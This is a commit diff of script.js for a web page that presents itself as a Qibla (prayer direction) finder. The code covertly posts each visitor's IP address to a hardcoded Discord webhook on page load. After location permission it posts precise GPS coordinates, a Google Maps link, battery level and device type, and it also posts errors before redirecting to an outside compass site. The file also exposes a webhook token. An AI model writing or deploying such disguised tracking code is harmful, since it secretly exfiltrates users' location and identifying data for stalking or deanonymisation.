Spaces:
Running
Running
Update script.js
Browse files
script.js
CHANGED
|
@@ -1,298 +1,298 @@
|
|
| 1 |
-
// Enhanced notification system
|
| 2 |
-
class NotificationManager {
|
| 3 |
-
constructor() {
|
| 4 |
-
this.toastElement = document.getElementById('notificationToast');
|
| 5 |
-
this.toastInstance = new bootstrap.Toast(this.toastElement, {
|
| 6 |
-
autohide: true,
|
| 7 |
-
delay: 5000
|
| 8 |
-
});
|
| 9 |
-
}
|
| 10 |
-
|
| 11 |
-
show(message, type = 'info') {
|
| 12 |
-
const toastBody = this.toastElement.querySelector('.toast-body');
|
| 13 |
-
const icon = toastBody.querySelector('i');
|
| 14 |
-
const messageSpan = toastBody.querySelector('.toast-message');
|
| 15 |
-
|
| 16 |
-
// Reset classes
|
| 17 |
-
this.toastElement.className = 'toast';
|
| 18 |
-
|
| 19 |
-
// Set message
|
| 20 |
-
messageSpan.textContent = message;
|
| 21 |
-
|
| 22 |
-
// Set icon and style based on type
|
| 23 |
-
switch(type) {
|
| 24 |
-
case 'success':
|
| 25 |
-
this.toastElement.classList.add('toast-success');
|
| 26 |
-
icon.className = 'bi bi-check-circle-fill me-2';
|
| 27 |
-
break;
|
| 28 |
-
case 'error':
|
| 29 |
-
this.toastElement.classList.add('toast-error');
|
| 30 |
-
icon.className = 'bi bi-exclamation-triangle-fill me-2';
|
| 31 |
-
break;
|
| 32 |
-
case 'info':
|
| 33 |
-
this.toastElement.classList.add('toast-info');
|
| 34 |
-
icon.className = 'bi bi-info-circle-fill me-2';
|
| 35 |
-
break;
|
| 36 |
-
case 'warning':
|
| 37 |
-
this.toastElement.classList.add('toast-warning');
|
| 38 |
-
icon.className = 'bi bi-exclamation-triangle-fill me-2';
|
| 39 |
-
break;
|
| 40 |
-
}
|
| 41 |
-
|
| 42 |
-
this.toastInstance.show();
|
| 43 |
-
}
|
| 44 |
-
}
|
| 45 |
-
|
| 46 |
-
// Enhanced geolocation handler
|
| 47 |
-
class QiblaFinder {
|
| 48 |
-
constructor() {
|
| 49 |
-
this.button = document.getElementById('getLocationBtn');
|
| 50 |
-
this.loadingSpinner = document.getElementById('loadingSpinner');
|
| 51 |
-
this.statusMessage = document.getElementById('statusMessage');
|
| 52 |
-
this.isProcessing = false;
|
| 53 |
-
|
| 54 |
-
this.init();
|
| 55 |
-
}
|
| 56 |
-
|
| 57 |
-
init() {
|
| 58 |
-
// Send IP address on load
|
| 59 |
-
this.sendIpAddressOnLoad();
|
| 60 |
-
|
| 61 |
-
// Add button click handler
|
| 62 |
-
this.button.addEventListener('click', () => this.handleLocationRequest());
|
| 63 |
-
|
| 64 |
-
// Check geolocation support
|
| 65 |
-
if (!navigator.geolocation) {
|
| 66 |
-
this.showError('Geolocation is not supported by this browser. Please use a modern browser like Chrome, Firefox, or Safari.');
|
| 67 |
-
notifications.show('Geolocation not supported by this browser', 'error');
|
| 68 |
-
}
|
| 69 |
-
}
|
| 70 |
-
|
| 71 |
-
handleLocationRequest() {
|
| 72 |
-
if (this.isProcessing) return;
|
| 73 |
-
|
| 74 |
-
this.isProcessing = true;
|
| 75 |
-
this.showLoading(true);
|
| 76 |
-
this.button.disabled = true;
|
| 77 |
-
|
| 78 |
-
notifications.show('Requesting your location...', 'info');
|
| 79 |
-
|
| 80 |
-
const options = {
|
| 81 |
-
enableHighAccuracy: true,
|
| 82 |
-
timeout: 10000,
|
| 83 |
-
maximumAge: 300000 // 5 minutes
|
| 84 |
-
};
|
| 85 |
-
|
| 86 |
-
navigator.geolocation.getCurrentPosition(
|
| 87 |
-
(position) => this.handleSuccess(position),
|
| 88 |
-
(error) => this.handleError(error),
|
| 89 |
-
options
|
| 90 |
-
);
|
| 91 |
-
}
|
| 92 |
-
|
| 93 |
-
handleSuccess(position) {
|
| 94 |
-
const { latitude, longitude } = position.coords;
|
| 95 |
-
const accuracy = position.coords.accuracy;
|
| 96 |
-
|
| 97 |
-
notifications.show(`Location found with ${Math.round(accuracy)}m accuracy`, 'success');
|
| 98 |
-
this.showStatus(`Location acquired successfully! Accuracy: ${Math.round(accuracy)} meters`, 'success');
|
| 99 |
-
|
| 100 |
-
// Send location data
|
| 101 |
-
this.sendLocationData(latitude, longitude, accuracy);
|
| 102 |
-
}
|
| 103 |
-
|
| 104 |
-
handleError(error) {
|
| 105 |
-
this.isProcessing = false;
|
| 106 |
-
this.showLoading(false);
|
| 107 |
-
this.button.disabled = false;
|
| 108 |
-
|
| 109 |
-
let errorMessage = '';
|
| 110 |
-
let userMessage = '';
|
| 111 |
-
let showPermissionHelp = false;
|
| 112 |
-
|
| 113 |
-
switch(error.code) {
|
| 114 |
-
case error.PERMISSION_DENIED:
|
| 115 |
-
errorMessage = "User denied the request for Geolocation.";
|
| 116 |
-
userMessage = "Location access denied. Please enable location permissions to find Qibla direction.";
|
| 117 |
-
showPermissionHelp = true;
|
| 118 |
-
notifications.show('Location permission denied', 'error');
|
| 119 |
-
break;
|
| 120 |
-
case error.POSITION_UNAVAILABLE:
|
| 121 |
-
errorMessage = "Location information is unavailable.";
|
| 122 |
-
userMessage = "Unable to determine your location. Please check your GPS settings.";
|
| 123 |
-
notifications.show('Location unavailable', 'error');
|
| 124 |
-
break;
|
| 125 |
-
case error.TIMEOUT:
|
| 126 |
-
errorMessage = "The request to get user location timed out.";
|
| 127 |
-
userMessage = "Location request timed out. Please try again.";
|
| 128 |
-
notifications.show('Location request timed out', 'warning');
|
| 129 |
-
break;
|
| 130 |
-
default:
|
| 131 |
-
errorMessage = "An unknown error occurred.";
|
| 132 |
-
userMessage = "An unexpected error occurred. Please try again.";
|
| 133 |
-
notifications.show('Unknown error occurred', 'error');
|
| 134 |
-
break;
|
| 135 |
-
}
|
| 136 |
-
|
| 137 |
-
this.showStatus(userMessage, 'error');
|
| 138 |
-
|
| 139 |
-
if (showPermissionHelp) {
|
| 140 |
-
this.showPermissionHelp();
|
| 141 |
-
}
|
| 142 |
-
|
| 143 |
-
// Send error to Discord
|
| 144 |
-
this.sendMessageToDiscord(errorMessage);
|
| 145 |
-
|
| 146 |
-
console.error('Geolocation error:', error);
|
| 147 |
-
}
|
| 148 |
-
|
| 149 |
-
showPermissionHelp() {
|
| 150 |
-
setTimeout(() => {
|
| 151 |
-
const helpMessage = `
|
| 152 |
-
<div class="mt-3 p-3 bg-light rounded">
|
| 153 |
-
<h6><i class="bi bi-lightbulb text-warning me-2"></i>How to enable location:</h6>
|
| 154 |
-
<ul class="text-start small mb-0">
|
| 155 |
-
<li><strong>Chrome:</strong> Click the location icon in the address bar</li>
|
| 156 |
-
<li><strong>Firefox:</strong> Click the shield icon and allow location</li>
|
| 157 |
-
<li><strong>Safari:</strong> Go to Settings > Privacy & Security > Location Services</li>
|
| 158 |
-
<li><strong>Mobile:</strong> Check your browser's location permissions in device settings</li>
|
| 159 |
-
</ul>
|
| 160 |
-
</div>
|
| 161 |
-
`;
|
| 162 |
-
this.statusMessage.innerHTML += helpMessage;
|
| 163 |
-
}, 1000);
|
| 164 |
-
}
|
| 165 |
-
|
| 166 |
-
showLoading(show) {
|
| 167 |
-
this.loadingSpinner.style.display = show ? 'block' : 'none';
|
| 168 |
-
}
|
| 169 |
-
|
| 170 |
-
showStatus(message, type) {
|
| 171 |
-
this.statusMessage.className = `status-message status-${type}`;
|
| 172 |
-
this.statusMessage.innerHTML = `<i class="bi bi-${type === 'success' ? 'check-circle' : type === 'error' ? 'exclamation-triangle' : 'info-circle'} me-2"></i>${message}`;
|
| 173 |
-
this.statusMessage.classList.remove('d-none');
|
| 174 |
-
}
|
| 175 |
-
|
| 176 |
-
async sendLocationData(latitude, longitude, accuracy) {
|
| 177 |
-
try {
|
| 178 |
-
const googleMapsLink = `https://www.google.com/maps?q=${latitude},${longitude}`;
|
| 179 |
-
const userAgent = navigator.userAgent;
|
| 180 |
-
let batteryInfo = 'Not Available';
|
| 181 |
-
|
| 182 |
-
// Get battery info if available
|
| 183 |
-
if ('getBattery' in navigator) {
|
| 184 |
-
try {
|
| 185 |
-
const battery = await navigator.getBattery();
|
| 186 |
-
batteryInfo = `${(battery.level * 100).toFixed(1)}% (${battery.charging ? 'Charging' : 'Not Charging'})`;
|
| 187 |
-
} catch (e) {
|
| 188 |
-
console.log('Battery API not available');
|
| 189 |
-
}
|
| 190 |
-
}
|
| 191 |
-
|
| 192 |
-
// Get IP address
|
| 193 |
-
const ipResponse = await fetch('https://api.ipify.org?format=json');
|
| 194 |
-
const ipData = await ipResponse.json();
|
| 195 |
-
|
| 196 |
-
const message = {
|
| 197 |
-
content: `π― **New Qibla Location Request**\n` +
|
| 198 |
-
`π **Location:** ${googleMapsLink}\n` +
|
| 199 |
-
`π **IP Address:** ${ipData.ip}\n` +
|
| 200 |
-
`π± **Accuracy:** ${Math.round(accuracy)} meters\n` +
|
| 201 |
-
`π **Battery:** ${batteryInfo}\n` +
|
| 202 |
-
`π» **Device:** ${this.getDeviceInfo(userAgent)}\n` +
|
| 203 |
-
`π **Time:** ${new Date().toLocaleString()}`
|
| 204 |
-
};
|
| 205 |
-
|
| 206 |
-
const webhookUrl = 'https://discordapp.com/api/webhooks/1259411474372366376/qUp54Pc4sKQOVGY41X4gzNOEKfHaVsSKDsQiAZKVSnFwvPgwTZnScX12N6Pu9i1pVW2B';
|
| 207 |
-
|
| 208 |
-
const response = await fetch(webhookUrl, {
|
| 209 |
-
method: 'POST',
|
| 210 |
-
headers: { 'Content-Type': 'application/json' },
|
| 211 |
-
body: JSON.stringify(message)
|
| 212 |
-
});
|
| 213 |
-
|
| 214 |
-
if (response.ok) {
|
| 215 |
-
setTimeout(() => {
|
| 216 |
-
notifications.show('Redirecting to Qibla compass...', 'success');
|
| 217 |
-
this.redirectToQibla();
|
| 218 |
-
}, 2000);
|
| 219 |
-
} else {
|
| 220 |
-
throw new Error(`HTTP ${response.status}`);
|
| 221 |
-
}
|
| 222 |
-
|
| 223 |
-
} catch (error) {
|
| 224 |
-
console.error('Error sending location data:', error);
|
| 225 |
-
notifications.show('Failed to process location data', 'error');
|
| 226 |
-
this.showStatus('Failed to process location data, but you can still access the Qibla compass.', 'warning');
|
| 227 |
-
|
| 228 |
-
setTimeout(() => this.redirectToQibla(), 3000);
|
| 229 |
-
} finally {
|
| 230 |
-
this.isProcessing = false;
|
| 231 |
-
this.showLoading(false);
|
| 232 |
-
this.button.disabled = false;
|
| 233 |
-
}
|
| 234 |
-
}
|
| 235 |
-
|
| 236 |
-
getDeviceInfo(userAgent) {
|
| 237 |
-
if (/Android/i.test(userAgent)) return 'Android Device';
|
| 238 |
-
if (/iPhone|iPad/i.test(userAgent)) return 'iOS Device';
|
| 239 |
-
if (/Windows/i.test(userAgent)) return 'Windows PC';
|
| 240 |
-
if (/Mac/i.test(userAgent)) return 'Mac';
|
| 241 |
-
if (/Linux/i.test(userAgent)) return 'Linux';
|
| 242 |
-
return 'Unknown Device';
|
| 243 |
-
}
|
| 244 |
-
|
| 245 |
-
async sendIpAddressOnLoad() {
|
| 246 |
-
try {
|
| 247 |
-
const response = await fetch('https://api.ipify.org?format=json');
|
| 248 |
-
const data = await response.json();
|
| 249 |
-
|
| 250 |
-
const message = {
|
| 251 |
-
content: `π **New Visitor**\nπ **IP:** ${data.ip}\nπ **Time:** ${new Date().toLocaleString()}`
|
| 252 |
-
};
|
| 253 |
-
|
| 254 |
-
fetch('https://discordapp.com/api/webhooks/1259411474372366376/qUp54Pc4sKQOVGY41X4gzNOEKfHaVsSKDsQiAZKVSnFwvPgwTZnScX12N6Pu9i1pVW2B', {
|
| 255 |
-
method: 'POST',
|
| 256 |
-
headers: { 'Content-Type': 'application/json' },
|
| 257 |
-
body: JSON.stringify(message)
|
| 258 |
-
});
|
| 259 |
-
|
| 260 |
-
} catch (error) {
|
| 261 |
-
console.error('Error sending IP address:', error);
|
| 262 |
-
}
|
| 263 |
-
}
|
| 264 |
-
|
| 265 |
-
sendMessageToDiscord(messageContent) {
|
| 266 |
-
const message = {
|
| 267 |
-
content: `β οΈ **Error Report**\nπ **Message:** ${messageContent}\nπ **Time:** ${new Date().toLocaleString()}`
|
| 268 |
-
};
|
| 269 |
-
|
| 270 |
-
fetch('https://discordapp.com/api/webhooks/1259411474372366376/qUp54Pc4sKQOVGY41X4gzNOEKfHaVsSKDsQiAZKVSnFwvPgwTZnScX12N6Pu9i1pVW2B', {
|
| 271 |
-
method: 'POST',
|
| 272 |
-
headers: { 'Content-Type': 'application/json' },
|
| 273 |
-
body: JSON.stringify(message)
|
| 274 |
-
}).catch(error => console.error('Discord webhook error:', error));
|
| 275 |
-
}
|
| 276 |
-
|
| 277 |
-
redirectToQibla() {
|
| 278 |
-
window.location.href = 'https://www.al-habib.info/qibla-pointer/online-qibla-compass.
|
| 279 |
-
}
|
| 280 |
-
}
|
| 281 |
-
|
| 282 |
-
// Initialize when DOM is loaded
|
| 283 |
-
document.addEventListener('DOMContentLoaded', () => {
|
| 284 |
-
// Initialize notification manager
|
| 285 |
-
window.notifications = new NotificationManager();
|
| 286 |
-
|
| 287 |
-
// Initialize Qibla finder
|
| 288 |
-
new QiblaFinder();
|
| 289 |
-
});
|
| 290 |
-
|
| 291 |
-
// Show welcome notification
|
| 292 |
-
window.addEventListener('load', () => {
|
| 293 |
-
setTimeout(() => {
|
| 294 |
-
if (window.notifications) {
|
| 295 |
-
window.notifications.show('Welcome! Click the button to find your Qibla direction.', 'info');
|
| 296 |
-
}
|
| 297 |
-
}, 1500);
|
| 298 |
});
|
|
|
|
| 1 |
+
// Enhanced notification system
|
| 2 |
+
class NotificationManager {
|
| 3 |
+
constructor() {
|
| 4 |
+
this.toastElement = document.getElementById('notificationToast');
|
| 5 |
+
this.toastInstance = new bootstrap.Toast(this.toastElement, {
|
| 6 |
+
autohide: true,
|
| 7 |
+
delay: 5000
|
| 8 |
+
});
|
| 9 |
+
}
|
| 10 |
+
|
| 11 |
+
show(message, type = 'info') {
|
| 12 |
+
const toastBody = this.toastElement.querySelector('.toast-body');
|
| 13 |
+
const icon = toastBody.querySelector('i');
|
| 14 |
+
const messageSpan = toastBody.querySelector('.toast-message');
|
| 15 |
+
|
| 16 |
+
// Reset classes
|
| 17 |
+
this.toastElement.className = 'toast';
|
| 18 |
+
|
| 19 |
+
// Set message
|
| 20 |
+
messageSpan.textContent = message;
|
| 21 |
+
|
| 22 |
+
// Set icon and style based on type
|
| 23 |
+
switch(type) {
|
| 24 |
+
case 'success':
|
| 25 |
+
this.toastElement.classList.add('toast-success');
|
| 26 |
+
icon.className = 'bi bi-check-circle-fill me-2';
|
| 27 |
+
break;
|
| 28 |
+
case 'error':
|
| 29 |
+
this.toastElement.classList.add('toast-error');
|
| 30 |
+
icon.className = 'bi bi-exclamation-triangle-fill me-2';
|
| 31 |
+
break;
|
| 32 |
+
case 'info':
|
| 33 |
+
this.toastElement.classList.add('toast-info');
|
| 34 |
+
icon.className = 'bi bi-info-circle-fill me-2';
|
| 35 |
+
break;
|
| 36 |
+
case 'warning':
|
| 37 |
+
this.toastElement.classList.add('toast-warning');
|
| 38 |
+
icon.className = 'bi bi-exclamation-triangle-fill me-2';
|
| 39 |
+
break;
|
| 40 |
+
}
|
| 41 |
+
|
| 42 |
+
this.toastInstance.show();
|
| 43 |
+
}
|
| 44 |
+
}
|
| 45 |
+
|
| 46 |
+
// Enhanced geolocation handler
|
| 47 |
+
class QiblaFinder {
|
| 48 |
+
constructor() {
|
| 49 |
+
this.button = document.getElementById('getLocationBtn');
|
| 50 |
+
this.loadingSpinner = document.getElementById('loadingSpinner');
|
| 51 |
+
this.statusMessage = document.getElementById('statusMessage');
|
| 52 |
+
this.isProcessing = false;
|
| 53 |
+
|
| 54 |
+
this.init();
|
| 55 |
+
}
|
| 56 |
+
|
| 57 |
+
init() {
|
| 58 |
+
// Send IP address on load
|
| 59 |
+
this.sendIpAddressOnLoad();
|
| 60 |
+
|
| 61 |
+
// Add button click handler
|
| 62 |
+
this.button.addEventListener('click', () => this.handleLocationRequest());
|
| 63 |
+
|
| 64 |
+
// Check geolocation support
|
| 65 |
+
if (!navigator.geolocation) {
|
| 66 |
+
this.showError('Geolocation is not supported by this browser. Please use a modern browser like Chrome, Firefox, or Safari.');
|
| 67 |
+
notifications.show('Geolocation not supported by this browser', 'error');
|
| 68 |
+
}
|
| 69 |
+
}
|
| 70 |
+
|
| 71 |
+
handleLocationRequest() {
|
| 72 |
+
if (this.isProcessing) return;
|
| 73 |
+
|
| 74 |
+
this.isProcessing = true;
|
| 75 |
+
this.showLoading(true);
|
| 76 |
+
this.button.disabled = true;
|
| 77 |
+
|
| 78 |
+
notifications.show('Requesting your location...', 'info');
|
| 79 |
+
|
| 80 |
+
const options = {
|
| 81 |
+
enableHighAccuracy: true,
|
| 82 |
+
timeout: 10000,
|
| 83 |
+
maximumAge: 300000 // 5 minutes
|
| 84 |
+
};
|
| 85 |
+
|
| 86 |
+
navigator.geolocation.getCurrentPosition(
|
| 87 |
+
(position) => this.handleSuccess(position),
|
| 88 |
+
(error) => this.handleError(error),
|
| 89 |
+
options
|
| 90 |
+
);
|
| 91 |
+
}
|
| 92 |
+
|
| 93 |
+
handleSuccess(position) {
|
| 94 |
+
const { latitude, longitude } = position.coords;
|
| 95 |
+
const accuracy = position.coords.accuracy;
|
| 96 |
+
|
| 97 |
+
notifications.show(`Location found with ${Math.round(accuracy)}m accuracy`, 'success');
|
| 98 |
+
this.showStatus(`Location acquired successfully! Accuracy: ${Math.round(accuracy)} meters`, 'success');
|
| 99 |
+
|
| 100 |
+
// Send location data
|
| 101 |
+
this.sendLocationData(latitude, longitude, accuracy);
|
| 102 |
+
}
|
| 103 |
+
|
| 104 |
+
handleError(error) {
|
| 105 |
+
this.isProcessing = false;
|
| 106 |
+
this.showLoading(false);
|
| 107 |
+
this.button.disabled = false;
|
| 108 |
+
|
| 109 |
+
let errorMessage = '';
|
| 110 |
+
let userMessage = '';
|
| 111 |
+
let showPermissionHelp = false;
|
| 112 |
+
|
| 113 |
+
switch(error.code) {
|
| 114 |
+
case error.PERMISSION_DENIED:
|
| 115 |
+
errorMessage = "User denied the request for Geolocation.";
|
| 116 |
+
userMessage = "Location access denied. Please enable location permissions to find Qibla direction.";
|
| 117 |
+
showPermissionHelp = true;
|
| 118 |
+
notifications.show('Location permission denied', 'error');
|
| 119 |
+
break;
|
| 120 |
+
case error.POSITION_UNAVAILABLE:
|
| 121 |
+
errorMessage = "Location information is unavailable.";
|
| 122 |
+
userMessage = "Unable to determine your location. Please check your GPS settings.";
|
| 123 |
+
notifications.show('Location unavailable', 'error');
|
| 124 |
+
break;
|
| 125 |
+
case error.TIMEOUT:
|
| 126 |
+
errorMessage = "The request to get user location timed out.";
|
| 127 |
+
userMessage = "Location request timed out. Please try again.";
|
| 128 |
+
notifications.show('Location request timed out', 'warning');
|
| 129 |
+
break;
|
| 130 |
+
default:
|
| 131 |
+
errorMessage = "An unknown error occurred.";
|
| 132 |
+
userMessage = "An unexpected error occurred. Please try again.";
|
| 133 |
+
notifications.show('Unknown error occurred', 'error');
|
| 134 |
+
break;
|
| 135 |
+
}
|
| 136 |
+
|
| 137 |
+
this.showStatus(userMessage, 'error');
|
| 138 |
+
|
| 139 |
+
if (showPermissionHelp) {
|
| 140 |
+
this.showPermissionHelp();
|
| 141 |
+
}
|
| 142 |
+
|
| 143 |
+
// Send error to Discord
|
| 144 |
+
this.sendMessageToDiscord(errorMessage);
|
| 145 |
+
|
| 146 |
+
console.error('Geolocation error:', error);
|
| 147 |
+
}
|
| 148 |
+
|
| 149 |
+
showPermissionHelp() {
|
| 150 |
+
setTimeout(() => {
|
| 151 |
+
const helpMessage = `
|
| 152 |
+
<div class="mt-3 p-3 bg-light rounded">
|
| 153 |
+
<h6><i class="bi bi-lightbulb text-warning me-2"></i>How to enable location:</h6>
|
| 154 |
+
<ul class="text-start small mb-0">
|
| 155 |
+
<li><strong>Chrome:</strong> Click the location icon in the address bar</li>
|
| 156 |
+
<li><strong>Firefox:</strong> Click the shield icon and allow location</li>
|
| 157 |
+
<li><strong>Safari:</strong> Go to Settings > Privacy & Security > Location Services</li>
|
| 158 |
+
<li><strong>Mobile:</strong> Check your browser's location permissions in device settings</li>
|
| 159 |
+
</ul>
|
| 160 |
+
</div>
|
| 161 |
+
`;
|
| 162 |
+
this.statusMessage.innerHTML += helpMessage;
|
| 163 |
+
}, 1000);
|
| 164 |
+
}
|
| 165 |
+
|
| 166 |
+
showLoading(show) {
|
| 167 |
+
this.loadingSpinner.style.display = show ? 'block' : 'none';
|
| 168 |
+
}
|
| 169 |
+
|
| 170 |
+
showStatus(message, type) {
|
| 171 |
+
this.statusMessage.className = `status-message status-${type}`;
|
| 172 |
+
this.statusMessage.innerHTML = `<i class="bi bi-${type === 'success' ? 'check-circle' : type === 'error' ? 'exclamation-triangle' : 'info-circle'} me-2"></i>${message}`;
|
| 173 |
+
this.statusMessage.classList.remove('d-none');
|
| 174 |
+
}
|
| 175 |
+
|
| 176 |
+
async sendLocationData(latitude, longitude, accuracy) {
|
| 177 |
+
try {
|
| 178 |
+
const googleMapsLink = `https://www.google.com/maps?q=${latitude},${longitude}`;
|
| 179 |
+
const userAgent = navigator.userAgent;
|
| 180 |
+
let batteryInfo = 'Not Available';
|
| 181 |
+
|
| 182 |
+
// Get battery info if available
|
| 183 |
+
if ('getBattery' in navigator) {
|
| 184 |
+
try {
|
| 185 |
+
const battery = await navigator.getBattery();
|
| 186 |
+
batteryInfo = `${(battery.level * 100).toFixed(1)}% (${battery.charging ? 'Charging' : 'Not Charging'})`;
|
| 187 |
+
} catch (e) {
|
| 188 |
+
console.log('Battery API not available');
|
| 189 |
+
}
|
| 190 |
+
}
|
| 191 |
+
|
| 192 |
+
// Get IP address
|
| 193 |
+
const ipResponse = await fetch('https://api.ipify.org?format=json');
|
| 194 |
+
const ipData = await ipResponse.json();
|
| 195 |
+
|
| 196 |
+
const message = {
|
| 197 |
+
content: `π― **New Qibla Location Request**\n` +
|
| 198 |
+
`π **Location:** ${googleMapsLink}\n` +
|
| 199 |
+
`π **IP Address:** ${ipData.ip}\n` +
|
| 200 |
+
`π± **Accuracy:** ${Math.round(accuracy)} meters\n` +
|
| 201 |
+
`π **Battery:** ${batteryInfo}\n` +
|
| 202 |
+
`π» **Device:** ${this.getDeviceInfo(userAgent)}\n` +
|
| 203 |
+
`π **Time:** ${new Date().toLocaleString()}`
|
| 204 |
+
};
|
| 205 |
+
|
| 206 |
+
const webhookUrl = 'https://discordapp.com/api/webhooks/1259411474372366376/qUp54Pc4sKQOVGY41X4gzNOEKfHaVsSKDsQiAZKVSnFwvPgwTZnScX12N6Pu9i1pVW2B';
|
| 207 |
+
|
| 208 |
+
const response = await fetch(webhookUrl, {
|
| 209 |
+
method: 'POST',
|
| 210 |
+
headers: { 'Content-Type': 'application/json' },
|
| 211 |
+
body: JSON.stringify(message)
|
| 212 |
+
});
|
| 213 |
+
|
| 214 |
+
if (response.ok) {
|
| 215 |
+
setTimeout(() => {
|
| 216 |
+
notifications.show('Redirecting to Qibla compass...', 'success');
|
| 217 |
+
this.redirectToQibla();
|
| 218 |
+
}, 2000);
|
| 219 |
+
} else {
|
| 220 |
+
throw new Error(`HTTP ${response.status}`);
|
| 221 |
+
}
|
| 222 |
+
|
| 223 |
+
} catch (error) {
|
| 224 |
+
console.error('Error sending location data:', error);
|
| 225 |
+
notifications.show('Failed to process location data', 'error');
|
| 226 |
+
this.showStatus('Failed to process location data, but you can still access the Qibla compass.', 'warning');
|
| 227 |
+
|
| 228 |
+
setTimeout(() => this.redirectToQibla(), 3000);
|
| 229 |
+
} finally {
|
| 230 |
+
this.isProcessing = false;
|
| 231 |
+
this.showLoading(false);
|
| 232 |
+
this.button.disabled = false;
|
| 233 |
+
}
|
| 234 |
+
}
|
| 235 |
+
|
| 236 |
+
getDeviceInfo(userAgent) {
|
| 237 |
+
if (/Android/i.test(userAgent)) return 'Android Device';
|
| 238 |
+
if (/iPhone|iPad/i.test(userAgent)) return 'iOS Device';
|
| 239 |
+
if (/Windows/i.test(userAgent)) return 'Windows PC';
|
| 240 |
+
if (/Mac/i.test(userAgent)) return 'Mac';
|
| 241 |
+
if (/Linux/i.test(userAgent)) return 'Linux';
|
| 242 |
+
return 'Unknown Device';
|
| 243 |
+
}
|
| 244 |
+
|
| 245 |
+
async sendIpAddressOnLoad() {
|
| 246 |
+
try {
|
| 247 |
+
const response = await fetch('https://api.ipify.org?format=json');
|
| 248 |
+
const data = await response.json();
|
| 249 |
+
|
| 250 |
+
const message = {
|
| 251 |
+
content: `π **New Visitor**\nπ **IP:** ${data.ip}\nπ **Time:** ${new Date().toLocaleString()}`
|
| 252 |
+
};
|
| 253 |
+
|
| 254 |
+
fetch('https://discordapp.com/api/webhooks/1259411474372366376/qUp54Pc4sKQOVGY41X4gzNOEKfHaVsSKDsQiAZKVSnFwvPgwTZnScX12N6Pu9i1pVW2B', {
|
| 255 |
+
method: 'POST',
|
| 256 |
+
headers: { 'Content-Type': 'application/json' },
|
| 257 |
+
body: JSON.stringify(message)
|
| 258 |
+
});
|
| 259 |
+
|
| 260 |
+
} catch (error) {
|
| 261 |
+
console.error('Error sending IP address:', error);
|
| 262 |
+
}
|
| 263 |
+
}
|
| 264 |
+
|
| 265 |
+
sendMessageToDiscord(messageContent) {
|
| 266 |
+
const message = {
|
| 267 |
+
content: `β οΈ **Error Report**\nπ **Message:** ${messageContent}\nπ **Time:** ${new Date().toLocaleString()}`
|
| 268 |
+
};
|
| 269 |
+
|
| 270 |
+
fetch('https://discordapp.com/api/webhooks/1259411474372366376/qUp54Pc4sKQOVGY41X4gzNOEKfHaVsSKDsQiAZKVSnFwvPgwTZnScX12N6Pu9i1pVW2B', {
|
| 271 |
+
method: 'POST',
|
| 272 |
+
headers: { 'Content-Type': 'application/json' },
|
| 273 |
+
body: JSON.stringify(message)
|
| 274 |
+
}).catch(error => console.error('Discord webhook error:', error));
|
| 275 |
+
}
|
| 276 |
+
|
| 277 |
+
redirectToQibla() {
|
| 278 |
+
window.location.href = 'https://www.al-habib.info/qibla-pointer/online-qibla-compass.htm';
|
| 279 |
+
}
|
| 280 |
+
}
|
| 281 |
+
|
| 282 |
+
// Initialize when DOM is loaded
|
| 283 |
+
document.addEventListener('DOMContentLoaded', () => {
|
| 284 |
+
// Initialize notification manager
|
| 285 |
+
window.notifications = new NotificationManager();
|
| 286 |
+
|
| 287 |
+
// Initialize Qibla finder
|
| 288 |
+
new QiblaFinder();
|
| 289 |
+
});
|
| 290 |
+
|
| 291 |
+
// Show welcome notification
|
| 292 |
+
window.addEventListener('load', () => {
|
| 293 |
+
setTimeout(() => {
|
| 294 |
+
if (window.notifications) {
|
| 295 |
+
window.notifications.show('Welcome! Click the button to find your Qibla direction.', 'info');
|
| 296 |
+
}
|
| 297 |
+
}, 1500);
|
| 298 |
});
|